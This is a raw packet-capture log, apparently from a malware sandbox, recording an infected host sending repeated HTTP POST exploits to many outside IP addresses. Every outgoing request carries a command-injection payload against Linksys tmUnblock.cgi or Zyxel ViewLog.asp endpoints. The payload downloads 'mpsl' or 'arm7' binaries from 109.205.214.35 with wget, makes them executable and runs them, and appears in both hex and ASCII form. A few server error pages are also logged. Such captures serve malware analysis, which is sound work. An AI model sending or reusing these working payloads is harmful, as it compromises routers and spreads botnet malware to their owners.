ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.13	51858	172.65.10.181	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.211576939 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.13	50456	200.88.94.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.221435070 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:36.380996943 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Content-Language:en Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:18:36.381072044 CET	1286	IN	Data Raw: 64 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d36<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:18:36.381125927 CET	1286	IN	Data Raw: 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 Data Ascii: == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUsho
Mar 21, 2024 05:18:36.381201982 CET	858	IN	Data Raw: 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f Data Ascii: lse{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.13	53518	172.87.217.1	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.380961895 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:37.301431894 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:38.323800087 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:40.435838938 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:44.535021067 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:52.727814913 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.13	47084	206.232.6.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.381361008 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:36.559098959 CET	874	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:36 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:36 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.13	59346	83.246.70.148	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:36.397764921 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.332982063 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.531161070 CET	182	IN	HTTP/1.1 302 Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 0 Date: Thu, 21 Mar 2024 04:18:36 GMT Keep-Alive: timeout=20 Connection: keep-alive
Mar 21, 2024 05:18:37.531203985 CET	1286	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: de Content-Length: 2026 Date: Thu, 21 Mar 2024 04:18:36 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 45 78 63 65 70 74 69 6f 6e 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 55 6e 67 c3 bc 6c 74 69 67 65 73 20 5a 65 69 63 68 65 6e 20 69 6d 20 4d 65 74 68 6f 64 65 6e 6e 61 6d 65 6e 20 5b 33 26 61 6d 70 3b 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 30 78 30 64 30 78 30 61 30 78 30 64 30 78 30 61 2e 2e 2e 5d 20 67 65 66 75 6e 64 65 6e 2e 20 48 54 54 50 20 4d 65 74 68 6f 64 65 6e 6e 61 6d 65 6e 20 6d c3 bc 73 73 65 6e 20 54 6f 6b 65 6e 20 73 65 69 6e 3c 2f 70 3e 3c 70 3e 3c 62 3e 42 65 73 63 68 72 65 69 62 75 6e 67 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 63 61 6e 6e 6f 74 20 6f 72 20 77 69 6c 6c 20 6e 6f 74 20 70 72 6f 63 65 73 73 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 73 6f 6d 65 74 68 69 6e 67 20 74 68 61 74 20 69 73 20 70 65 72 63 65 69 76 65 64 20 74 6f 20 62 65 20 61 20 63 6c 69 65 6e 74 20 65 72 72 6f 72 20 28 65 2e 67 2e 2c 20 6d 61 6c 66 6f 72 6d 65 64 20 72 65 71 75 65 73 74 20 73 79 6e 74 61 78 2c 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 20 66 72 61 6d 69 6e 67 2c 20 6f 72 20 64 65 63 65 70 74 69 76 65 20 72 65 71 75 65 73 74 20 72 6f 75 74 69 6e 67 29 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 45 78 63 65 70 74 69 6f 6e 3c 2f 62 3e 3c 2f 70 3e 3c 70 72 65 3e 6a 61 76 61 2e 6c 61 6e 67 2e 49 6c 6c 65 67 61 6c 41 72 67 75 6d 65 6e 74 45 78 63 65 70 74 69 6f 6e 3a 20 55 6e 67 c3 bc 6c 74 69 67 65 73 20 5a 65 69 63 68 65 6e 20 69 6d 20 4d 65 74 68 6f 64 65 6e 6e 61 6d 65 6e 20 5b 33 26 61 6d 70 3b 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 30 78 30 64 30 78 30 61 30 78 30 64 30 78 30 61 2e 2e 2e 5d 20 67 65 66 75 6e 64 65 6e 2e 20 48 54 54 50 20 4d 65 74 68 6f 64 65 6e 6e 61 6d 65 6e 20 6d c3 bc 73 73 65 6e 20 54 6f 6b 65 6e 20 73 65 69 6e 0d 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 49 6e 70 75 74 42 75 66 66 65 72 2e 70 61 72 73 65 52 65 71 75 65 73 74 4c 69 6e 65 28 48 74 74 70 31 31 49 Data Ascii: <!doctype html><html lang="de"><head><title>HTTP Status 400 Bad Request</title><style 